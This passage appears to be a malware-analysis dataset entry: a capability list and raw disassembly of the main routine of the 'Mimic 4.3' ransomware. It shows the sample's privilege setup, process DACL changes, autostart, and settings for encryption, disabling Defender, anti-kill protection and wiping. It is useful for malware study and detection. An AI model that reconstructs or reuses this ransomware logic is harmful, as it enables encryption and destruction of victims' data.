Function at 0x461ab0
Capabilities:
Accept command line arguments
Check if file exists
Disable system features via registry on windows
Encode data using base64
Enumerate processes
Manipulate boot configuration
Set current directory
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5708d4
mov eax, dword fs:[0]
push eax
sub esp, 0x330
mov eax, dword [0x5e8ea4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0x1f4
mov dword [ebp - 0x330], 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov cl, 1
mov dword [ebp - 4], 0
call fcn.00454a70
push 0x5e9aa0
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], 0xffffffff
call fcn.00449750
mov dword [ebp - 4], 4
lea ebx, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
lea edi, [ebp - 0x50]
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x24], 0
cmovae ebx, dword [ebp - 0x50]
add ebx, dword [ebp - 0x40]
cmp dword [ebp - 0x3c], 0x10
mov dword [ebp - 0x20], 7
cmovae edi, dword [ebp - 0x50]
xor eax, eax
mov word [ebp - 0x34], ax
mov eax, ebx
sub eax, edi
push eax
call fcn.0044bc00
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x34]
push ebx
push edi
call fcn.0044bd90
mov byte [ebp - 4], 5
lea eax, [ebp - 0x34]
cmp dword [ebp - 0x20], 8
mov ecx, 0x5e9ba8
push dword [ebp - 0x24]
cmovae eax, dword [ebp - 0x34]
push eax
call fcn.0044a890
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x461bc4
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x461bba
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x464598
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x3c]
cmp edx, 0x10
jb 0x461bff
mov ecx, dword [ebp - 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x461bf5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46459d
push edx
push ecx
call fcn.0052cac7
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test byte [0x5ef756], 2
mov dword [0x5ef790], eax
je 0x461c18
call fcn.00459560
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x5f02a0
mov dword [0x5f02bc], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.Rstrtmgr.dll
call esi
test eax, eax
je 0x461c4b
mov dword [0x5f02e8], 1
jmp 0x461c5f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Restart_manager_not_loaded__Code__lu.
call fcn.004612c0
add esp, 8
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, eax
test edi, edi
jne 0x461c7d
push str.ntdll.dll
call esi
mov edi, eax
test edi, edi
je 0x461c9d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NtSetInformationProcess
push edi
call esi
push str.NtQueryInformationProcess
push edi
mov dword [0x5ef9bc], eax
call esi
mov dword [0x5ef7ac], eax
call fcn.00467280
push 0x5f0264
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov al, byte [0x5ef781]
mov edx, 0xb
mov byte [0x5ef79d], al
mov ecx, 0xa
mov al, byte [0x5ef72a]
mov byte [0x5ef784], al
mov al, byte [0x5ef757]
test al, al
mov byte [0x5ef79a], 1
mov byte [0x5ef787], al
cmove ecx, edx
mov dword [0x5e99f0], ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov esi, eax
mov ecx, esi
mov dword [ebp - 0x330], esi
call fcn.00458070
push str.Mimic_4.3
push 0x5d6c28
call fcn.004612c0
push str.SYSTEMDRIVE
call fcn.0054f4b6
mov edx, eax
mov dword [ebp - 0x24], 0
mov ecx, edx
mov dword [ebp - 0x20], 7
add esp, 0xc
xor eax, eax
mov word [ebp - 0x34], ax
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x461d33
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x34]
call fcn.0044a890
push 0xe
push str._templock.txt
lea ecx, [ebp - 0x34]
mov dword [ebp - 4], 6
call fcn.0044fc90
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x20]
test eax, eax
je 0x461de9
cmp edx, 8
jb 0x461db9
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x461daf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4645a2
push edx
push ecx
call fcn.0052cac7
add esp, 8
push str.____Dev_
call fcn.004612c0
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0052c886
mov esp, ebp
pop ebp
ret 0x10
cmp edx, 8
jb 0x461e20
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x461e16
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4645a7
push edx
push ecx
call fcn.0052cac7
add esp, 8
push str.___SysInfo...
mov dword [ebp - 4], 7
call fcn.004612c0
add esp, 4
call fcn.00474690
mov dword [ebp - 4], 0xffffffff
jmp 0x461e69
push esi
push str.CMDLINE:_____s
call fcn.004612c0
push str.___Set_Privileges...
mov dword [ebp - 4], 9
call fcn.004612c0
add esp, 0xc
call fcn.00467970
test al, al
jne 0x461ea5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Failed_to_grant_privileges__Code__lu
call fcn.004612c0
add esp, 8
mov dword [ebp - 4], 0xffffffff
jmp 0x461ed5
mov eax, dword [0x5e99f0]
cmp eax, 0xe
jne 0x462021
push dword [0x5ef794]
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, 0xffffffff
je 0x461dc6
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
xor eax, eax
mov dword [ebp - 0x24], 0
push 0x5d6db8
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x20], 7
mov word [ebp - 0x34], ax
call fcn.0044a890
mov ecx, 0x5efbd0
mov dword [ebp - 4], 0xb
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x461f40
sub ecx, edx
sar ecx, 1
push ecx
push 0x5efbd0
lea ecx, [ebp - 0x34]
call fcn.0044fc90
push 2
push 0x5d6dbc
lea ecx, [ebp - 0x34]
call fcn.0044fc90
cmp dword [0x5e9bd4], 8
lea ecx, [ebp - 0x34]
push dword [0x5e9bd0]
mov eax, 0x5e9bc0
cmovae eax, dword [0x5e9bc0]
push eax
call fcn.0044fc90
push 1
push 0
xor dl, dl
mov ecx, 0x5efe58
call fcn.0046bde0
add esp, 8
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov ecx, 5
cmp byte [0x5ef79b], al
push 0x2710
cmovne eax, ecx
lea ecx, [ebp - 0x34]
cmp dword [ebp - 0x20], 8
movzx edx, ax
cmovae ecx, dword [ebp - 0x34]
push 0
call fcn.0046c380
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x46201a
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x462010
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4645ac
push edx
push ecx
call fcn.0052cac7
add esp, 8
xor eax, eax
jmp 0x461dcb
cmp eax, 0xf
jne 0x462076
push str.Unlocker1_started.
call fcn.004612c0
add esp, 4
push 0
push 0
push 0
push 0x45a800
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1388
mov dword [0x5f023c], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0046c1e0
call fcn.0045a8e0
push str.Unlocker1_finished.
call fcn.004612c0
add esp, 4
xor eax, eax
jmp 0x461dcb
cmp eax, 0x10
jne 0x4620cb
push str.Unlocker2_started.
call fcn.004612c0
add esp, 4
push 0
push 0
push 1
push 0x45a800
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1388
mov dword [0x5f0240], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0046c1e0
call fcn.0045a8e0
push str.Unlocker2_finished.
call fcn.004612c0
add esp, 4
xor eax, eax
jmp 0x461dcb
push str.___Priority...
mov dword [ebp - 4], 0xc
call fcn.004612c0
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
add esp, 4
push 0x80
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov ebx, dword [0x5ef9bc]
mov dword [ebp - 0x54], 3
test ebx, ebx
je 0x462133
push 4
lea eax, [ebp - 0x54]
push eax
push 0x21
call edi
push eax
call ebx
jmp 0x462133
push esi
call dword [sym.imp.SHLWAPI.dll_PathGetArgsW]
mov ebx, eax
mov dword [ebp - 0x8c], 0
xor eax, eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x88], 7
mov word [ebp - 0x9c], ax
mov dword [ebp - 4], 0xe
push str.___Autostart...
mov byte [ebp - 4], 0xf
call fcn.004612c0
add esp, 4
lea ecx, [ebp - 0x9c]
mov edx, ebx
call fcn.0046ce90
test al, al
jne 0x4621b0
mov ecx, 0x5efbd0
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x462190
sub ecx, edx
sar ecx, 1
push ecx
push 0x5efbd0
lea ecx, [ebp - 0x9c]
call fcn.0044a890
mov dword [ebp - 4], 0xe
jmp 0x4621dd
push str.___Relaunch...
mov byte [ebp - 4], 0x11
call fcn.004612c0
add esp, 4
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x88], 8
lea ecx, [ebp - 0x9c]
mov edx, ebx
cmovae ecx, dword [ebp - 0x9c]
push eax
call fcn.0046c960
add esp, 4
test eax, eax
je 0x462276
mov edx, dword [ebp - 0x88]
cmp edx, 8
jb 0x462254
mov ecx, dword [ebp - 0x9c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46224a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4645b1
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov eax, dword [ebp - 0x54]
jmp 0x461dcb
push str.___Register_hotkey...
mov dword [ebp - 4], 0xe
call fcn.004612c0
add esp, 4
push 0
push 0
push 0
push 0x459710
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push str.___Change_Process_DACL...
mov byte [ebp - 4], 0x13
call fcn.004612c0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 8
mov edi, eax
call fcn.0055016a
add esp, 4
mov esi, eax
push 2
push 8
push esi
call dword [sym.imp.ADVAPI32.dll_InitializeAcl]
test eax, eax
jne 0x4622db
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4622ed
push 0
push esi
push 0
push 0
push 4
push 6
push edi
call dword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
push esi
call fcn.0054823a
add esp, 4
push str.___Set_current_dir...
mov dword [ebp - 4], 0xe
call fcn.004612c0
add esp, 4
push 0x5ef9c8
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x5ef9c8
lea ecx, [ebp - 0x74]
call fcn.00449510
push 0xc
push str._session.tmp
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x15
call fcn.0044fc90
push 0x5efdd8
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4623ad
push str.___Found_previous_session_key_in_backup
call fcn.004612c0
cmp dword [ebp - 0x60], 8
lea edx, [ebp - 0x74]
push 1
cmovae edx, dword [ebp - 0x74]
mov ecx, 0x5efdd8
call fcn.00458fa0
add esp, 8
test eax, eax
je 0x462399
cmp dword [ebp - 0x60], 8
lea eax, [ebp - 0x74]
cmovae eax, dword [ebp - 0x74]
push eax
push str.___Restore_previous_session_key_success._Path:__s
jmp 0x4623a5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Restore_previous_session_key_failed._Code__lu.
call fcn.004612c0
add esp, 8
xor cl, cl
mov byte [ebp - 4], 0x16
call fcn.00454a70
mov dword [ebp - 4], 0x15
lea eax, [ebp - 0x74]
cmp dword [ebp - 0x60], 8
cmovae eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x462410
cmp dword [ebp - 0x60], 8
lea ecx, [ebp - 0x74]
push 1
cmovae ecx, dword [ebp - 0x74]
mov edx, 0x5efdd8
call fcn.00458fa0
add esp, 4
test eax, eax
je 0x462402
push str.___Backup_session_key_success
call fcn.004612c0
add esp, 4
jmp 0x462429
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Backup_session_key_failed._Code__lu.
jmp 0x462421
cmp dword [ebp - 0x60], 8
lea eax, [ebp - 0x74]
cmovae eax, dword [ebp - 0x74]
push eax
push str.____Connot_find_own_session_key._Path:__s
call fcn.004612c0
add esp, 8
push 0x5ef9c8
push str.___Protect_directory...:__s
call fcn.004612c0
add esp, 8
lea ecx, [ebp - 0x34]
push 0x5ef9c8
call fcn.00449510
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x34]
cmp dword [ebp - 0x20], 8
push 6
cmovae eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push 0
cmovae eax, dword [ebp - 0x34]
push 0x2000000
push 3
push 0
push 7
push 0x10e0000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4624ea
cmp byte [0x5ef9ba], 0
je 0x4624b4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0x20], 8
lea ecx, [ebp - 0x34]
push eax
cmovae ecx, dword [ebp - 0x34]
push ecx
push str.____Failed_to_read_permissions:__s__Code__lu
call fcn.004612c0
add esp, 0xc
mov byte [ebp - 4], 0x15
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x46253c
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x462532
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4645b6
jmp 0x462532
mov eax, dword [0x5ef7a8]
test eax, eax
je 0x462529
push 0
push eax
push 0
push 0
push 4
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
test eax, eax
je 0x462529
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0x20], 8
lea ecx, [ebp - 0x34]
push eax
cmovae ecx, dword [ebp - 0x34]
push ecx
push str.____SetSecurityInfo_failed__folder:__s__Code__lu
call fcn.004612c0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4624b4
push edx
push ecx
call fcn.0052cac7
add esp, 8
push str.___Embedded_settings:
call fcn.004612c0
push str._____________________
call fcn.004612c0
cmp dword [0x5e9ae4], 8
mov eax, 0x5e9ad0
cmovae eax, dword [0x5e9ad0]
push eax
push str.___NoteId:_____________s
call fcn.004612c0
mov ecx, dword [0x5ef788]
mov eax, dword [0x5ef78c]
shrd ecx, eax, 5
push ecx
push str.___Keys_count:_________i
call fcn.004612c0
call fcn.00454310
movzx eax, al
push eax
push str.___Encrypt_percent:____i___
call fcn.004612c0
add esp, 0x20
mov dword [ebp - 0x24], 0
cmp dword [0x5e9ab4], 0x10
lea ecx, [ebp - 0x34]
mov ebx, 0x5e9aa0
mov dword [ebp - 0x20], 7
cmovae ebx, dword [0x5e9aa0]
mov edi, 0x5e9aa0
add ebx, dword [0x5e9ab0]
cmp dword [0x5e9ab4], 0x10
cmovae edi, dword [0x5e9aa0]
xor eax, eax
mov word [ebp - 0x34], ax
mov eax, ebx
sub eax, edi
push eax
call fcn.0044bc00
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x34]
push ebx
push edi
call fcn.0044bd90
mov ebx, 1
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x34]
cmp dword [ebp - 0x20], 8
cmovae eax, dword [ebp - 0x34]
push eax
push str.___Extension:__________s
call fcn.004612c0
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x46265b
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x462651
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4645b6
push edx
push ecx
call fcn.0052cac7
add esp, 8
cmp dword [0x5e9b14], 8
mov eax, 0x5e9b00
cmovae eax, dword [0x5e9b00]
push eax
push str.___Note_file_name:_____s
call fcn.004612c0
mov eax, dword [0x5ef74c]
shl eax, 0xa
shr eax, 0xa
push eax
push str.___File_max_size:______lu_KiB
call fcn.004612c0
mov eax, dword [0x5ef750]
shl eax, 0x14
shr eax, 0x14
push eax
push str.___Process_max_RAM:____lu_MiB
call fcn.004612c0
cmp byte [0x5ef798], 0
mov esi, 0x5d7514
mov eax, esi
mov edi, 0x5d751c
cmove eax, edi
push eax
push str.___Self_delete:________s
call fcn.004612c0
cmp byte [0x5ef755], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Priority_modify:____s
call fcn.004612c0
cmp byte [0x5ef79c], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Log_check_sum:______s
call fcn.004612c0
cmp byte [0x5ef786], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Encrypt_single:_____s
call fcn.004612c0
cmp byte [0x5ef79a], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Encrypt_local:______s
call fcn.004612c0
add esp, 0x40
mov eax, esi
cmp byte [0x5ef79d], 0
cmove eax, edi
push eax
push str.___Encrypt_net_drive:__s
call fcn.004612c0
cmp byte [0x5ef784], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Encrypt_net_prio:___s
call fcn.004612c0
cmp byte [0x5ef787], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Encrypt_share:______s
call fcn.004612c0
cmp byte [0x5ef799], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Anti_Kill_protect:__s
call fcn.004612c0
cmp byte [0x5ef783], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Disable_defender:___s
call fcn.004612c0
cmp byte [0x5ef79b], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Visible:____________s
call fcn.004612c0
cmp byte [0x5ef780], 0
cmove esi, edi
push esi
push str.___Wipe_parallel:______s
call fcn.004612c0
movzx eax, byte [0x5ef756]
push eax
push str.___Log_level:__________i
call fcn.004612c0
mov ecx, 7
mov dword [ebp - 0x40], 0
xor eax, eax
mov dword [ebp - 0x3c], ecx
add esp, 0x40
mov word [ebp - 0x50], ax
mov byte [ebp - 4], 0x1c
mov edi, dword [0x5f00d0]
mov esi, dword [edi]
cmp esi, edi
je 0x46287c
nop
lea edx, [esi + 8]
push 0x5d77c8
lea ecx, [ebp - 0xb4]
call fcn.00451290
add esp, 4
mov byte [ebp - 4], 0x1d
cmp dword [eax + 0x14], 8
mov ecx, dword [eax + 0x10]
jb 0x462825
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.0044fc90
mov byte [ebp - 4], 0x1c
mov edx, dword [ebp - 0xa0]
cmp edx, 8
jb 0x462873
mov ecx, dword [ebp - 0xb4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x462869
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x464598
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x462800
mov ecx, dword [ebp - 0x3c]
cmp ecx, 8
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push 0x5d77cc
call fcn.004612c0
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x3c]
cmp edx, 8
jb 0x4628d2
mov ecx, dword [ebp - 0x50]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4628c8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4645b6
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov ecx, 7
mov dword [ebp - 0x40], 0
xor eax, eax
mov dword [ebp - 0x3c], ecx
mov word [ebp - 0x50], ax
mov byte [ebp - 4], 0x1e
mov edi, dword [0x5f0090]
mov esi, dword [edi]
cmp esi, edi
je 0x46297c
nop dword [eax + eax]
lea edx, [esi + 8]
push 0x5d77c8
lea ecx, [ebp - 0xb4]
call fcn.00451290
add esp, 4
mov byte [ebp - 4], 0x1f
cmp dword [eax + 0x14], 8
mov ecx, dword [eax + 0x10]
jb 0x462925
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.0044fc90
mov byte [ebp - 4], 0x1e
mov edx, dword [ebp - 0xa0]
cmp edx, 8
jb 0x462973
mov ecx, dword [ebp - 0xb4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x462969
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x464598
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x462900
mov ecx, dword [ebp - 0x3c]
cmp ecx, 8
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push str.___Ext._exclude:______s
call fcn.004612c0
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x3c]
cmp edx, 8
jb 0x4629d2
mov ecx, dword [ebp - 0x50]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4629c8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4645b6
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov ecx, 7
mov dword [ebp - 0x40], 0
xor eax, eax
mov dword [ebp - 0x3c], ecx
mov word [ebp - 0x50], ax
mov byte [ebp - 4], 0x20
mov edi, dword [0x5f0120]
mov esi, dword [edi]
cmp esi, edi
je 0x462a7c
nop dword [eax + eax]
lea edx, [esi + 8]
push 0x5d77c8
lea ecx, [ebp - 0xb4]
call fcn.00451290
add esp, 4
mov byte [ebp - 4], 0x21
cmp dword [eax + 0x14], 8
mov ecx, dword [eax + 0x10]
jb 0x462a25
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.0044fc90
mov byte [ebp - 4], 0x20
mov edx, dword [ebp - 0xa0]
cmp edx, 8
jb 0x462a73
mov ecx, dword [ebp - 0xb4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x462a69
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x464598
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x462a00
mov ecx, dword [ebp - 0x3c]
cmp ecx, 8
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push str.___Files_exclude:_____s
call fcn.004612c0
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x3c]
cmp edx, 8
jb 0x462ad2
mov ecx, dword [ebp - 0x50]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x462ac8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4645b6
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov ecx, 7
mov dword [ebp - 0x40], 0
xor eax, eax
mov dword [ebp - 0x3c], ecx
mov word [ebp - 0x50], ax
mov byte [ebp - 4], 0x22
mov edi, dword [0x5f0098]
mov esi, dword [edi]
cmp esi, edi
je 0x462bbd
nop dword [eax + eax]
mov dword [ebp - 0x54], ebx
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x24], 0
or ebx, 2
mov word [ebp - 0x34], ax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x330], ebx
inc eax
lea ebx, [esi + 8]
mov dword [ebp - 0x20], 7
push eax
call fcn.0044bc00
cmp dword [ebx + 0x14], 8
mov eax, dword [ebx + 0x10]
jb 0x462b3f
mov ebx, dword [ebx]
push eax
push ebx
lea ecx, [ebp - 0x34]
call fcn.0044fc90
push 1
push 0x5d77c8
lea ecx, [ebp - 0x34]
call fcn.0044fc90
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push dword [ebp - 0x24]
cmovae eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x50]
push eax
call fcn.0044fc90
mov ebx, dword [ebp - 0x54]
mov byte [ebp - 4], 0x22
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x462bb0
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x462ba6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x464598
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x462b00
mov ecx, dword [ebp - 0x3c]
cmp ecx, 8
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push str.___Dirs_exclude:______s
call fcn.004612c0
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x3c]
cmp edx, 8
jb 0x462c13
mov ecx, dword [ebp - 0x50]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x462c09
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4645b6
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov ecx, 7
mov dword [ebp - 0x40], 0
xor eax, eax
mov dword [ebp - 0x3c], ecx
mov word [ebp - 0x50], ax
mov byte [ebp - 4], 0x24
mov edi, dword [0x5f00a0]
mov esi, dword [edi]
cmp esi, edi
je 0x462d00
nop dword [eax]
mov dword [ebp - 0x54], ebx
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x24], 0
or ebx, 4
mov word [ebp - 0x34], ax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x330], ebx
inc eax
lea ebx, [esi + 8]
mov dword [ebp - 0x20], 7
push eax
call fcn.0044bc00
cmp dword [ebx + 0x14], 8
mov eax, dword [ebx + 0x10]
jb 0x462c7f
mov ebx, dword [ebx]
push eax
push ebx
lea ecx, [ebp - 0x34]
call fcn.0044fc90
push 1
push 0x5d77c8
lea ecx, [ebp - 0x34]
call fcn.0044fc90
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push dword [ebp - 0x24]
cmovae eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x50]
push eax
call fcn.0044fc90
mov ebx, dword [ebp - 0x54]
mov byte [ebp - 4], 0x24
and ebx, 0xfffffffb
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x462cf3
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x462ce9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x464598
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x462c40
mov ecx, dword [ebp - 0x3c]
cmp ecx, 8
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push str.___Exec_commands:_____s
call fcn.004612c0
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x3c]
cmp edx, 8
jb 0x462d56
mov ecx, dword [ebp - 0x50]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x462d4c
